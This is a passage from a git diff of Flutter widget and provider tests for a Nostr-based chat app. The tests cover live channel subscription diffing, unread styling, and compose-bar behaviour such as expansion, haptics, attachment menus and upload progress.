     await tester.pumpAndSettle();
 
-    expect(find.byKey(const Key('channel-unread-1')), findsOneWidget);
-    expect(find.text('2'), findsOneWidget);
-    expect(find.byKey(const Key('channel-unread-dot-1')), findsNothing);
+    expect(
+      tester.widget<Text>(find.text('general')).style?.fontWeight,
+      FontWeight.w700,
+    );
   });
 
   testWidgets('seeds first loaded channels as read', (tester) async {
@@ -1357,7 +1832,10 @@ void main() {
 
     expect(readState.seededContexts, {'1': 20});
     expect(readState.markedContexts, isEmpty);
-    expect(find.byKey(const Key('channel-unread-1')), findsNothing);
+    expect(
+      tester.widget<Text>(find.text('general')).style?.fontWeight,
+      FontWeight.w400,
+    );
   });
 
   testWidgets('waits for read-state readiness before initial seeding', (
diff --git a/mobile/test/features/channels/channels_provider_test.dart b/mobile/test/features/channels/channels_provider_test.dart
index 79be7a66f7..c128b9be5a 100644
--- a/mobile/test/features/channels/channels_provider_test.dart
+++ b/mobile/test/features/channels/channels_provider_test.dart
@@ -1,3 +1,5 @@
+import 'dart:async';
+
 import 'package:flutter/widgets.dart';
 import 'package:flutter_test/flutter_test.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
@@ -52,6 +54,174 @@ void main() {
     },
   );
 
+  test(
+    'refreshing an unchanged channel set issues zero new live REQs',
+    () async {
+      final session = _FakeRelaySession(
+        memberships: [
+          _membership(_channelA, myPk),
+          _membership(_channelB, myPk),
+        ],
+        metadata: [
+          _meta(id: _channelA, name: 'general'),
+          _meta(id: _channelB, name: 'random'),
+        ],
+      );
+      final container = _buildContainer(session: session);
+      addTearDown(container.dispose);
+
+      await container.read(channelsProvider.future);
+      final initialSubscribeCount = session.totalSubscribeCount;
+
+      await container.read(channelsProvider.notifier).refresh();
+
+      expect(session.totalSubscribeCount, initialSubscribeCount);
+      expect(session.unsubscribeCount, 0);
+      expect(session.subscribeFilters, hasLength(2));
+    },
+  );
+
+  test(
+    'live subscription diff only removes and adds changed channels',
+    () async {
+      final session = _FakeRelaySession(
+        memberships: [
+          _membership(_channelA, myPk),
+          _membership(_channelB, myPk),
+        ],
+        metadata: [
+          _meta(id: _channelA, name: 'general'),
+          _meta(id: _channelB, name: 'random'),
+        ],
+      );
+      final container = _buildContainer(session: session);
+      addTearDown(container.dispose);
+
+      await container.read(channelsProvider.future);
+      session.memberships = [
+        _membership(_channelB, myPk),
+        _membership(_channelD, myPk),
+      ];
+      session.metadata = [
+        _meta(id: _channelB, name: 'random'),
+        _meta(id: _channelD, name: 'support'),
+      ];
+
+      await container.read(channelsProvider.notifier).refresh();
+
+      expect(session.totalSubscribeCount, 3);
+      expect(session.unsubscribeCount, 1);
+      expect(
+        session.subscribeFilters
+            .map((filter) => filter.tags['#h']!.single)
+            .toSet(),
+        {_channelB, _channelD},
+      );
+    },
+  );
+
+  test(
+    'empty channel refresh removes every retained live subscription',
+    () async {
+      final session = _FakeRelaySession(
+        memberships: [
+          _membership(_channelA, myPk),
+          _membership(_channelB, myPk),
+        ],
+        metadata: [
+          _meta(id: _channelA, name: 'general'),
+          _meta(id: _channelB, name: 'random'),
+        ],
+      );
+      final container = _buildContainer(session: session);
+      addTearDown(container.dispose);
+
+      await container.read(channelsProvider.future);
+      session.memberships = [];
+      session.metadata = [];
+
+      await container.read(channelsProvider.notifier).refresh();
+
+      expect(session.activeChannels, isEmpty);
+      expect(session.activeSubscriptionCount, 0);
+      expect(session.unsubscribeCount, 2);
+    },
+  );
+
+  test(
+    'overlapping refreshes retain one live subscription per desired channel',
+    () async {
+      final session = _FakeRelaySession(
+        memberships: [
+          _membership(_channelA, myPk),
+          _membership(_channelB, myPk),
+        ],
+        metadata: [
+          _meta(id: _channelA, name: 'general'),
+          _meta(id: _channelB, name: 'random'),
+        ],
+      );
+      final container = _buildContainer(session: session);
+      addTearDown(container.dispose);
+
+      await container.read(channelsProvider.future);
+      session.pauseNextSubscribe();
+      session.memberships = [
+        _membership(_channelA, myPk),
+        _membership(_channelB, myPk),
+        _membership(_channelD, myPk),
+      ];
+      session.metadata = [
+        _meta(id: _channelA, name: 'general'),
+        _meta(id: _channelB, name: 'random'),
+        _meta(id: _channelD, name: 'support'),
+      ];
+
+      final firstRefresh = container.read(channelsProvider.notifier).refresh();
+      await session.nextSubscribeStarted;
+      final secondRefresh = container.read(channelsProvider.notifier).refresh();
+      session.resumePausedSubscribe();
+      await Future.wait([firstRefresh, secondRefresh]);
+
+      expect(session.activeChannels, {_channelA, _channelB, _channelD});
+      expect(session.activeSubscriptionCount, 3);
+    },
+  );
+
+  test(
+    'community switch replaces retained live subscriptions on the new relay',
+    () async {
+      final session = _FakeRelaySession(
+        memberships: [_membership(_channelA, myPk)],
+        metadata: [_meta(id: _channelA, name: 'general')],
+      );
+      final container = _buildContainer(session: session);
+      addTearDown(container.dispose);
+
+      await container.read(channelsProvider.future);
+      expect(session.activeChannels, {_channelA});
+
+      session.setStatus(SessionStatus.disconnected);
+      session.memberships = [_membership(_channelB, myPk)];
+      session.metadata = [_meta(id: _channelB, name: 'random')];
+      container
+          .read(relayConfigProvider.notifier)
+          .update(baseUrl: 'https://new-community.example');
+      await Future<void>.delayed(Duration.zero);
+      session.setStatus(SessionStatus.connected);
+      await container.read(channelsProvider.future);
+      await _waitUntil(
+        () =>
+            session.activeChannels.length == 1 &&
+            session.activeChannels.contains(_channelB),
+      );
+
+      expect(session.activeChannels, {_channelB});
+      expect(session.activeSubscriptionCount, 1);
+      expect(session.unsubscribeCount, 1);
+    },
+  );
+
   test('live channel events update channel lastMessageAt', () async {
     final session = _FakeRelaySession(
       memberships: [_membership(_channelA, myPk)],
@@ -423,6 +593,14 @@ ProviderContainer _buildContainer({required _FakeRelaySession session}) {
   );
 }
 
+Future<void> _waitUntil(bool Function() predicate) async {
+  for (var i = 0; i < 100; i++) {
+    if (predicate()) return;
+    await Future<void>.delayed(Duration.zero);
+  }
+  fail('Timed out waiting for asynchronous provider work');
+}
+
 /// Fake [RelaySessionNotifier] that returns canned events from [fetchHistory]
 /// and records subscribe calls.
 class _FakeRelaySession extends RelaySessionNotifier {
@@ -440,8 +618,40 @@ class _FakeRelaySession extends RelaySessionNotifier {
 
   final List<NostrFilter> historyFilters = [];
   final List<NostrFilter> subscribeFilters = [];
-  final List<void Function(NostrEvent)> _listeners = [];
+  final Map<int, (NostrFilter, void Function(NostrEvent))> _subscriptions = {};
+  int _nextSubscriptionKey = 0;
+  Completer<void>? _pausedSubscribe;
+  Completer<void>? _subscribeStarted;
   int unsubscribeCount = 0;
+  int totalSubscribeCount = 0;
+
+  Set<String> get activeChannels => {
+    for (final (filter, _) in _subscriptions.values) ?filter.tags['#h']?.single,
+  };
+
+  int get activeSubscriptionCount => _subscriptions.length;
+
+  Future<void> get nextSubscribeStarted async {
+    final started = _subscribeStarted;
+    if (started == null) {
+      throw StateError('No paused subscription is pending');
+    }
+    await started.future;
+  }
+
+  void pauseNextSubscribe() {
+    if (_pausedSubscribe != null) {
+      throw StateError('A subscription is already paused');
+    }
+    _pausedSubscribe = Completer<void>();
+    _subscribeStarted = Completer<void>();
+  }
+
+  void resumePausedSubscribe() {
+    final paused = _pausedSubscribe;
+    if (paused == null) throw StateError('No subscription is paused');
+    paused.complete();
+  }
 
   @override
   SessionState build() => const SessionState(status: SessionStatus.connected);
@@ -483,12 +693,22 @@ class _FakeRelaySession extends RelaySessionNotifier {
     void Function(NostrEvent) onEvent, {
     void Function(String message)? onClosed,
   }) async {
+    totalSubscribeCount++;
     subscribeFilters.add(filter);
-    _listeners.add(onEvent);
+    final paused = _pausedSubscribe;
+    if (paused != null) {
+      _subscribeStarted!.complete();
+      await paused.future;
+      _pausedSubscribe = null;
+      _subscribeStarted = null;
+    }
+    final subscriptionKey = ++_nextSubscriptionKey;
+    _subscriptions[subscriptionKey] = (filter, onEvent);
     return () {
+      final subscription = _subscriptions.remove(subscriptionKey);
+      if (subscription == null) return;
       unsubscribeCount++;
-      subscribeFilters.remove(filter);
-      _listeners.remove(onEvent);
+      subscribeFilters.remove(subscription.$1);
     };
   }
 
@@ -498,7 +718,7 @@ class _FakeRelaySession extends RelaySessionNotifier {
 
   /// Emit a live event to all subscribers.
   void emit(NostrEvent event) {
-    for (final listener in List.of(_listeners)) {
+    for (final (_, listener) in List.of(_subscriptions.values)) {
       listener(event);
     }
   }
diff --git a/mobile/test/features/channels/compose_bar_test.dart b/mobile/test/features/channels/compose_bar_test.dart
index 919d4039eb..d58555f45a 100644
--- a/mobile/test/features/channels/compose_bar_test.dart
+++ b/mobile/test/features/channels/compose_bar_test.dart
@@ -23,6 +23,8 @@ import 'package:buzz/shared/custom_emoji/custom_emoji_provider.dart';
 import 'package:buzz/shared/mentions/agent_identity_provider.dart';
 import 'package:buzz/shared/relay/relay.dart';
 import 'package:buzz/shared/theme/theme.dart';
+import 'package:buzz/shared/widgets/anchored_popover_menu.dart';
+import 'package:buzz/shared/widgets/mobile_tab_footer_backdrop.dart';
 import 'package:shared_preferences/shared_preferences.dart';
 
 final _pngBytes = Uint8List.fromList([
@@ -290,6 +292,40 @@ class _EmptyPhotoLibrary implements PhotoLibrary {
       const [];
 }
 
+class _FakeVideoUploadService extends MediaUploadService {
+  final XFile video;
+  XFile? uploadedVideo;
+
+  _FakeVideoUploadService(this.video)
+    : super(
+        baseUrl: 'https://relay.example',
+        nsec: null,
+        pickGalleryImage: () async => null,
+        pickGalleryVideo: () async => null,
+      );
+
+  @override
+  Future<XFile?> pickGalleryVideo() async => video;
+
+  @override
+  Future<BlobDescriptor> uploadVideo(
+    XFile pickedVideo, {
+    ValueChanged<double>? onProgress,
+    UploadCancellationToken? cancellationToken,
+  }) async {
+    uploadedVideo = pickedVideo;
+    onProgress?.call(1);
+    return const BlobDescriptor(
+      url: 'https://relay.example/media/test.mp4',
+      sha256:
+          '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef',
+      size: 32,
+      type: 'video/mp4',
+      uploaded: 1,
+    );
+  }
+}
+
 class _FakePhotoLibrary implements PhotoLibrary {
   final List<RecentPhoto> photos;
 
@@ -321,14 +357,22 @@ class _RecordingRelaySocket extends RelaySocket {
   final List<Map<String, dynamic>> events;
   final void Function(List<dynamic> message) handleMessage;
 
-  _RecordingRelaySocket(this.events, this.handleMessage)
-    : super(
-        wsUrl: 'ws://localhost',
-        nsec: null,
-        onMessage: handleMessage,
-        onConnected: () {},
-        onDisconnected: (_) {},
-      );
+  /// Invoked after an event has been recorded and acknowledged, before the
+  /// caller's `await` resumes. Lets a test interleave state changes (such as
+  /// a community switch) between two relay round trips.
+  final void Function(Map<String, dynamic> event)? onEventAcknowledged;
+
+  _RecordingRelaySocket(
+    this.events,
+    this.handleMessage, {
+    this.onEventAcknowledged,
+  }) : super(
+         wsUrl: 'ws://localhost',
+         nsec: null,
+         onMessage: handleMessage,
+         onConnected: () {},
+         onDisconnected: (_) {},
+       );
 
   @override
   SocketState get state => SocketState.connected;
@@ -339,6 +383,7 @@ class _RecordingRelaySocket extends RelaySocket {
       events.add(event);
       final id = event['id'] as String;
       super.debugHandleOkForTest(['OK', id, true, '']);
+      onEventAcknowledged?.call(event);
     }
   }
 
@@ -392,6 +437,152 @@ void main() {
   });
 
   group('ComposeBar', () {
+    testWidgets('starts compact and grows to the full-width composer', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        _buildComposeBar(
+          uploadService: _testUploadService(nostr.Keys.generate().nsec),
+          onSend:
+              (
+                content,
+                mentionPubkeys, {
+                mediaTags = const <List<String>>[],
+              }) async {},
+        ),
+      );
+
+      expect(find.byType(TextField), findsNothing);
+      expect(find.byTooltip('Add attachment').hitTestable(), findsOneWidget);
+      expect(find.byIcon(LucideIcons.arrowUp).hitTestable(), findsOneWidget);
+      expect(find.byKey(const ValueKey('composer-footer-gradient')), findsOne);
+      final composerBackdrop = find.descendant(
+        of: find.byKey(const ValueKey('composer-footer-gradient')),
+        matching: find.byType(MobileTabFooterBackdrop),
+      );
+      expect(composerBackdrop, findsOneWidget);
+      expect(
+        tester.getSize(composerBackdrop).height,
+        mobileTabFooterBackdropHeight(tester.element(composerBackdrop)),
+      );
+      final compactDecoration =
+          tester
+                  .widget<Container>(
+                    find.byKey(const ValueKey('composer-surface')),
+                  )
+                  .decoration
+              as BoxDecoration;
+      expect(
+        compactDecoration.borderRadius,
+        BorderRadius.circular(Radii.dialog + Grid.quarter),
+      );
+      final compactWidth = tester
+          .getSize(find.byKey(const ValueKey('composer-width-transition')))
+          .width;
+
+      await _expandComposer(tester);
+
+      final expandedWidth = tester
+          .getSize(find.byKey(const ValueKey('composer-width-transition')))
+          .width;
+      final expandedDecoration =
+          tester
+                  .widget<Container>(
+                    find.byKey(const ValueKey('composer-surface')),
+                  )
+                  .decoration
+              as BoxDecoration;
+      expect(compactWidth, closeTo(expandedWidth * 0.85, 0.5));
+      expect(
+        expandedDecoration.borderRadius,
+        BorderRadius.circular(Radii.dialog),
+      );
+      expect(find.byType(TextField), findsOneWidget);
+      expect(find.byIcon(LucideIcons.atSign), findsOneWidget);
+      expect(find.byIcon(LucideIcons.hash), findsOneWidget);
+      expect(find.byIcon(LucideIcons.smilePlus), findsOneWidget);
+      expect(find.byIcon(LucideIcons.aLargeSmall), findsOneWidget);
+    });
+
+    testWidgets('returns to the compact capsule when the keyboard drops', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        _buildComposeBar(
+          uploadService: _testUploadService(nostr.Keys.generate().nsec),
+          onSend:
+              (
+                content,
+                mentionPubkeys, {
+                mediaTags = const <List<String>>[],
+              }) async {},
+        ),
+      );
+      await _expandComposer(tester);
+      final focusNode = tester
+          .widget<TextField>(find.byType(TextField))
+          .focusNode!;
+      expect(focusNode.hasFocus, isTrue);
+      tester.view.viewInsets = const FakeViewPadding(bottom: 300);
+      addTearDown(tester.view.reset);
+      await tester.pump();
+
+      tester.view.viewInsets = FakeViewPadding.zero;
+      await tester.pumpAndSettle();
+
+      expect(find.byType(TextField), findsNothing);
+      expect(focusNode.hasFocus, isFalse);
+      final compactDecoration =
+          tester
+                  .widget<Container>(
+                    find.byKey(const ValueKey('composer-surface')),
+                  )
+                  .decoration
+              as BoxDecoration;
+      expect(
+        compactDecoration.borderRadius,
+        BorderRadius.circular(Radii.dialog + Grid.quarter),
+      );
+
+      await tester.tap(find.text('Message\u2026'));
+      await tester.pumpAndSettle();
+      expect(find.byType(TextField), findsOneWidget);
+      expect(
+        tester.widget<TextField>(find.byType(TextField)).focusNode!.hasFocus,
+        isTrue,
+      );
+    });
+
+    testWidgets('attachment control responds while the composer is expanding', (
+      tester,
+    ) async {
+      final previousPlatform = debugDefaultTargetPlatformOverride;
+      debugDefaultTargetPlatformOverride = TargetPlatform.android;
+      try {
+        await tester.pumpWidget(
+          _buildComposeBar(
+            uploadService: _testUploadService(nostr.Keys.generate().nsec),
+            onSend:
+                (
+                  content,
+                  mentionPubkeys, {
+                  mediaTags = const <List<String>>[],
+                }) async {},
+          ),
+        );
+
+        await tester.tap(find.text('Message\u2026'));
+        await tester.pump();
+        await tester.pump(const Duration(milliseconds: 80));
+        await tester.tap(find.byTooltip('Add attachment').hitTestable());
+        await tester.pumpAndSettle();
+
+        expect(find.byKey(const ValueKey('attachment-menu')), findsOneWidget);
+      } finally {
+        debugDefaultTargetPlatformOverride = previousPlatform;
+      }
+    });
+
     testWidgets('mounted composer does not carry draft text across an in-place '
         'identity switch', (tester) async {
       final keysA = nostr.Keys.generate();
@@ -400,7 +591,13 @@ void main() {
 
       await tester.pumpWidget(
         _buildComposeBar(
-          uploadService: _testUploadService(keysA.nsec),
+          uploadService: MediaUploadService(
+            baseUrl: relayUrl,
+            nsec: keysA.nsec,
+            pickGalleryImage: () async =>
+                XFile.fromData(_pngBytes, name: 'identity-a.png'),
+            pickGalleryVideo: () async => null,
+          ),
           relayConfig: () => _SwitchableRelayConfigNotifier(
             RelayConfig(baseUrl: relayUrl, nsec: keysA.nsec),
           ),
@@ -428,6 +625,9 @@ void main() {
       await tester.enterText(find.byType(TextField), 'identity A secret draft');
       await tester.pump();
       expect(storedText(keysA), 'identity A secret draft');
+      await _openSystemPhotoPicker(tester);
+      await tester.pumpAndSettle();
+      expect(find.byTooltip('Remove attachment'), findsOneWidget);
 
       // Switch identity in place while the composer stays mounted.
       final container = ProviderScope.containerOf(
@@ -439,9 +639,15 @@ void main() {
       await tester.pumpAndSettle();
 
       // The mounted composer must not carry identity A's text forward.
+      await _expandComposer(tester);
       final textField = tester.widget<TextField>(find.byType(TextField));
       expect(textField.controller!.text, isEmpty);
       expect(storedText(keysB), isNull);
+      expect(find.byTooltip('Remove attachment'), findsNothing);
+      expect(
+        find.byKey(const ValueKey('compose-upload-progress')),
+        findsNothing,
+      );
 
       // Identity B's edits persist only into B's store; A's is untouched.
       await tester.enterText(find.byType(TextField), 'identity B text');
@@ -492,6 +698,94 @@ void main() {
 
       expect(textField.controller!.text, 'hello :meow:world');
       expect(textField.controller!.selection.baseOffset, 12);
+      expect(find.byType(TextField), findsOneWidget);
+      expect(textField.focusNode!.hasFocus, isTrue);
+    });
+
+    testWidgets('composer controls use selection haptics', (tester) async {
+      final hapticCalls = <MethodCall>[];
+      TestDefaultBinaryMessengerBinding.instance.defaultBinaryMessenger
+          .setMockMethodCallHandler(SystemChannels.platform, (call) async {
+            if (call.method == 'HapticFeedback.vibrate') {
+              hapticCalls.add(call);
+            }
+            return null;
+          });
+      addTearDown(
+        () => TestDefaultBinaryMessengerBinding.instance.defaultBinaryMessenger
+            .setMockMethodCallHandler(SystemChannels.platform, null),
+      );
+
+      await tester.pumpWidget(
+        _buildComposeBar(
+          uploadService: _testUploadService(nostr.Keys.generate().nsec),
+          onSend:
+              (
+                content,
+                mentionPubkeys, {
+                mediaTags = const <List<String>>[],
+              }) async {},
+        ),
+      );
+      await _expandComposer(tester);
+      hapticCalls.clear();
+
+      await tester.tap(find.byIcon(LucideIcons.atSign));
+      tester.widget<TextField>(find.byType(TextField)).controller!.clear();
+      await tester.pump();
+      await tester.tap(find.byIcon(LucideIcons.hash));
+      await tester.pump();
+      await tester.tap(find.byIcon(LucideIcons.aLargeSmall));
+      await tester.pumpAndSettle();
+      await tester.tap(find.byIcon(LucideIcons.bold));
+      await tester.pump();
+      await tester.tap(find.byTooltip('Close formatting'));
+      await tester.pumpAndSettle();
+      await tester.tap(find.byTooltip('Add attachment'));
+      await tester.pumpAndSettle();
+
+      expect(hapticCalls, hasLength(6));
+      expect(
+        hapticCalls.every(
+          (call) => call.arguments == 'HapticFeedbackType.selectionClick',
+        ),
+        isTrue,
+      );
+    });
+
+    testWidgets('composer suggestions use the shared popover treatment', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        _buildComposeBar(
+          uploadService: _testUploadService(nostr.Keys.generate().nsec),
+          channels: [_makeChannel(name: 'general', channelType: 'stream')],
+          onSend:
+              (
+                content,
+                mentionPubkeys, {
+                mediaTags = const <List<String>>[],
+              }) async {},
+        ),
+      );
+      await _expandComposer(tester);
+      await tester.tap(find.byIcon(LucideIcons.hash));
+      await tester.pumpAndSettle();
+
+      final surface = find.byKey(const ValueKey('channel-suggestions-popover'));
+      final material = tester.widget<Material>(surface);
+      final shape = material.shape! as RoundedRectangleBorder;
+      expect(shape.borderRadius, BorderRadius.circular(Radii.popover));
+      expect(shape.side.color, Colors.black.withValues(alpha: 0.04));
+      expect(material.elevation, appPopoverElevation);
+      expect(
+        material.shadowColor,
+        appPopoverShadowColor(tester.element(surface)),
+      );
+      expect(
+        tester.widget<Text>(find.text('general')).style?.fontFamily,
+        'Inter',
+      );
     });
 
     testWidgets('native All Photos picker failures show an error', (
@@ -595,6 +889,60 @@ void main() {
       }
     });
 
+    testWidgets('leaving a focused composer dismisses the native keyboard', (
+      tester,
+    ) async {
+      final previousPlatform = debugDefaultTargetPlatformOverride;
+      debugDefaultTargetPlatformOverride = TargetPlatform.iOS;
+      var dismissCalls = 0;
+      _setMockNativeAttachmentPopoverHandler((call) async {
+        switch (call.method) {
+          case 'isSupported':
+          case 'present':
+            return true;
+          case 'dismiss':
+            dismissCalls += 1;
+            return null;
+        }
+        return null;
+      });
+
+      try {
+        await tester.pumpWidget(
+          _buildComposeBar(
+            uploadService: _testUploadService(nostr.Keys.generate().nsec),
+            onSend:
+                (
+                  content,
+                  mentionPubkeys, {
+                  mediaTags = const <List<String>>[],
+                }) async {},
+          ),
+        );
+
+        await _expandComposer(tester);
+        final focusNode = tester
+            .widget<TextField>(find.byType(TextField))
+            .focusNode!;
+        expect(focusNode.hasFocus, isTrue);
+
+        await tester.tap(find.byTooltip('Add attachment').hitTestable());
+        await tester.pumpAndSettle();
+        expect(focusNode.hasFocus, isTrue);
+
+        await tester.pumpWidget(const SizedBox.shrink());
+        await tester.pumpAndSettle();
+
+        expect(focusNode.hasFocus, isFalse);
+        expect(dismissCalls, 1);
+      } finally {
+        await _sendNativeAttachmentPopoverCall(tester, 'dismissed');
+        await tester.pumpWidget(const SizedBox.shrink());
+        _setMockNativeAttachmentPopoverHandler(null);
+        debugDefaultTargetPlatformOverride = previousPlatform;
+      }
+    });
+
     testWidgets(
       'unsupported iOS attachment popover unfocuses before fallback menu',
       (tester) async {
@@ -1102,7 +1450,7 @@ void main() {
       ]);
     });
 
-    testWidgets('bounds concurrent system-selected photo uploads', (
+    testWidgets('defers system-selected photo uploads until send', (
       tester,
     ) async {
       final releaseFirstBatch = Completer<void>();
@@ -1154,19 +1502,8 @@ void main() {
       );
 
       await _openSystemPhotoPicker(tester);
-      for (var frame = 0; frame < 20 && requestsStarted < 3; frame += 1) {
-        await tester.pump(const Duration(milliseconds: 20));
-      }
-
-      expect(requestsStarted, 3);
-      expect(peakActiveRequests, 3);
-
-      releaseFirstBatch.complete();
-      await tester.pumpAndSettle();
-
-      expect(requestsStarted, 5);
-      expect(peakActiveRequests, 3);
-      expect(find.byTooltip('Remove attachment'), findsNWidgets(5));
+      expect(requestsStarted, 0);
+      expect(peakActiveRequests, 0);
     });
 
     testWidgets('numbers recent photo selection and returns to the menu', (
@@ -1191,6 +1528,10 @@ void main() {
         ),
       );
 
+      final compactComposerWidth = tester
+          .getSize(find.byKey(const ValueKey('composer-width-transition')))
+          .width;
+
       await _openAttachmentMenu(tester);
       await tester.tap(find.text('Photos'));
       await tester.pumpAndSettle();
@@ -1201,6 +1542,12 @@ void main() {
       );
       expect(find.byTooltip('Back to attachment options'), findsWidgets);
       expect(find.text('All photos'), findsOneWidget);
+      expect(
+        tester
+            .getSize(find.byKey(const ValueKey('attachment-surface-popover')))
+            .width,
+        closeTo(compactComposerWidth / 0.85, 0.5),
+      );
 
       await tester.tap(find.byKey(const ValueKey('recent-photo-two')));
       await tester.pumpAndSettle();
@@ -1265,12 +1612,22 @@ void main() {
       await _openAttachmentMenu(tester);
 
       final menu = find.byKey(const ValueKey('attachment-menu'));
+      final surface = find.byKey(const ValueKey('attachment-surface-popover'));
       final rows = [
         for (final label in ['camera', 'photos', 'video', 'files'])
           find.byKey(ValueKey('attachment-menu-item-$label')),
       ];
       final menuRect = tester.getRect(menu);
 
+      final material = tester.widget<Material>(surface);
+      final shape = material.shape! as RoundedRectangleBorder;
+      expect(shape.borderRadius, BorderRadius.circular(Radii.popover));
+      expect(shape.side.color, Colors.black.withValues(alpha: 0.04));
+      expect(material.elevation, appPopoverElevation);
+      expect(
+        material.shadowColor,
+        appPopoverShadowColor(tester.element(surface)),
+      );
       expect(menuRect.size, const Size(216, 264));
       for (final row in rows) {
         expect(tester.getSize(row).height, 52);
@@ -1280,6 +1637,7 @@ void main() {
       for (final label in ['Camera', 'Photos', 'Video', 'Files']) {
         final text = tester.widget<Text>(find.text(label));
         expect(text.style?.fontSize, 20);
+        expect(text.style?.fontFamily, 'Inter');
       }
       final icons = [
         for (final label in ['camera', 'photos', 'video', 'files'])
@@ -1319,6 +1677,48 @@ void main() {
       }
     });
 
+    testWidgets('tapping outside dismisses the Android attachment menu', (
+      tester,
+    ) async {
+      final previousPlatform = debugDefaultTargetPlatformOverride;
+      debugDefaultTargetPlatformOverride = TargetPlatform.android;
+      try {
+        await tester.pumpWidget(
+          _buildComposeBar(
+            uploadService: _testUploadService(nostr.Keys.generate().nsec),
+            onSend:
+                (
+                  content,
+                  mentionPubkeys, {
+                  mediaTags = const <List<String>>[],
+                }) async {},
+          ),
+        );
+
+        await _openAttachmentMenu(tester);
+        expect(find.byKey(const ValueKey('attachment-menu')), findsOneWidget);
+        expect(
+          find.byKey(const ValueKey('attachment-dismiss-barrier')),
+          findsOneWidget,
+        );
+
+        await tester.tapAt(const Offset(24, 24));
+        await tester.pumpAndSettle();
+
+        expect(find.byKey(const ValueKey('attachment-menu')), findsNothing);
+        expect(
+          find.byKey(const ValueKey('attachment-dismiss-barrier')),
+          findsNothing,
+        );
+        expect(
+          find.byKey(const ValueKey('attachment-trigger-closed')).hitTestable(),
+          findsOneWidget,
+        );
+      } finally {
+        debugDefaultTargetPlatformOverride = previousPlatform;
+      }
+    });
+
     testWidgets(
       'attachment menu grows rows and scrolls for accessibility text',
       (tester) async {
@@ -1376,6 +1776,9 @@ void main() {
                 }) async {},
           ),
         );
+        final compactComposerWidth = tester
+            .getSize(find.byKey(const ValueKey('composer-width-transition')))
+            .width;
 
         await _openAttachmentMenu(tester);
         await tester.tap(find.text('Camera'));
@@ -1397,6 +1800,12 @@ void main() {
           find.byKey(const ValueKey('camera-initialization-ready')),
           findsOneWidget,
         );
+        expect(
+          tester
+              .getSize(find.byKey(const ValueKey('attachment-surface-popover')))
+              .width,
+          closeTo(compactComposerWidth / 0.85, 0.5),
+        );
       } finally {
         debugDefaultTargetPlatformOverride = previousPlatform;
       }
@@ -1444,63 +1853,344 @@ void main() {
       );
     });
 
-    testWidgets('keeps upload progress visible after the picker closes', (
-      tester,
-    ) async {
-      final uploadResponse = Completer<http.Response>();
-      final uploadService = MediaUploadService(
-        baseUrl: 'https://relay.example',
-        nsec: nostr.Keys.generate().nsec,
-        httpClient: http_testing.MockClient((request) => uploadResponse.future),
-        pickGalleryVideo: () async => null,
-        pickGalleryImage: () async => null,
-        pickGalleryImages: () async => [
-          XFile.fromData(_pngBytes, name: 'tiny.png'),
-        ],
-      );
+    testWidgets(
+      'shows post-send upload progress above the composer and cancels',
+      (tester) async {
+        final uploadResponse = Completer<http.Response>();
+        var sent = false;
+        final uploadService = MediaUploadService(
+          baseUrl: 'https://relay.example',
+          nsec: nostr.Keys.generate().nsec,
+          httpClient: http_testing.MockClient(
+            (request) => uploadResponse.future,
+          ),
+          pickGalleryVideo: () async => null,
+          pickGalleryImage: () async => null,
+          pickGalleryImages: () async => [
+            XFile.fromData(_pngBytes, name: 'tiny.png'),
+          ],
+        );
+
+        await tester.pumpWidget(
+          _buildComposeBar(
+            uploadService: uploadService,
+            onSend:
+                (
+                  content,
+                  mentionPubkeys, {
+                  mediaTags = const <List<String>>[],
+                }) async {
+                  sent = true;
+                },
+          ),
+        );
+
+        await _openSystemPhotoPicker(tester);
+        await tester.pump();
+
+        expect(
+          find.byKey(const ValueKey('compose-upload-progress')),
+          findsNothing,
+        );
+
+        await _expandComposer(tester);
+        await tester.tap(find.byIcon(LucideIcons.arrowUp));
+        await tester.pump();
+
+        expect(
+          find.byKey(const ValueKey('compose-upload-progress')),
+          findsOneWidget,
+        );
+        expect(find.text('Uploading'), findsOneWidget);
+        expect(find.text('100%'), findsOneWidget);
+        expect(
+          find.byKey(const ValueKey('compose-upload-cancel')),
+          findsOneWidget,
+        );
+        expect(
+          tester
+              .widget<AnimatedFractionallySizedBox>(
+                find.byKey(const ValueKey('compose-upload-progress-fill')),
+              )
+              .widthFactor,
+          1,
+        );
+        final progressFill = tester.widget<ColoredBox>(
+          find.descendant(
+            of: find.byKey(const ValueKey('compose-upload-progress-fill')),
+            matching: find.byType(ColoredBox),
+          ),
+        );
+        expect(progressFill.color.a, closeTo(0.12, 0.001));
+        expect(
+          tester
+              .widget<AnimatedFractionallySizedBox>(
+                find.byKey(const ValueKey('compose-upload-progress-fill')),
+              )
+              .heightFactor,
+          1,
+        );
+        expect(
+          tester
+              .widget<Padding>(
+                find.byKey(const ValueKey('compose-upload-cancel-padding')),
+              )
+              .padding,
+          const EdgeInsets.symmetric(
+            horizontal: Grid.half,
+            vertical: Grid.quarter,
+          ),
+        );
+
+        await tester.pump(const Duration(milliseconds: 220));
+        await tester.tap(find.byKey(const ValueKey('compose-upload-cancel')));
+        await tester.pump();
+        expect(
+          find.byKey(const ValueKey('compose-upload-progress')),
+          findsOneWidget,
+        );
+        await tester.pumpAndSettle();
+        expect(
+          find.byKey(const ValueKey('compose-upload-progress')),
+          findsNothing,
+        );
+
+        uploadResponse.complete(
+          http.Response(
+            jsonEncode({
+              'url': 'https://relay.example/media/test.png',
+              'sha256':
+                  '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef',
+              'size': 16,
+              'type': 'image/png',
+              'uploaded': 1,
+            }),
+            200,
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        expect(
+          find.byKey(const ValueKey('compose-upload-progress')),
+          findsNothing,
+        );
+        expect(sent, isFalse);
+      },
+    );
+
+    testWidgets('surfaces an error and keeps the draft when a community switch '
+        'cancels a text-only send', (tester) async {
+      final agentPubkey = 'c' * 64;
+      final signer = nostr.Keys.generate();
+      final publishedEvents = <Map<String, dynamic>>[];
+      var sendCount = 0;
 
       await tester.pumpWidget(
         _buildComposeBar(
-          uploadService: uploadService,
-          onSend:
-              (
-                content,
-                mentionPubkeys, {
-                mediaTags = const <List<String>>[],
-              }) async {},
+          uploadService: _testUploadService(signer.nsec),
+          currentPubkey: signer.public,
+          relayAgents: [_testAgent(agentPubkey)],
+          channels: [_makeCurrentChannel(), _makeSharedMemberChannel()],
